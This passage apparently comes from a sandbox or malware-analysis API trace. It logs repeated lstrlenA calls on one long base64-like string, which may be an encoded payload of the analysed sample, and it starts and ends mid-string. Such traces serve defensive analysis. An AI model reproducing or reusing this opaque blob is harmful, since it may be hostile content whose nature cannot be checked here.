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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3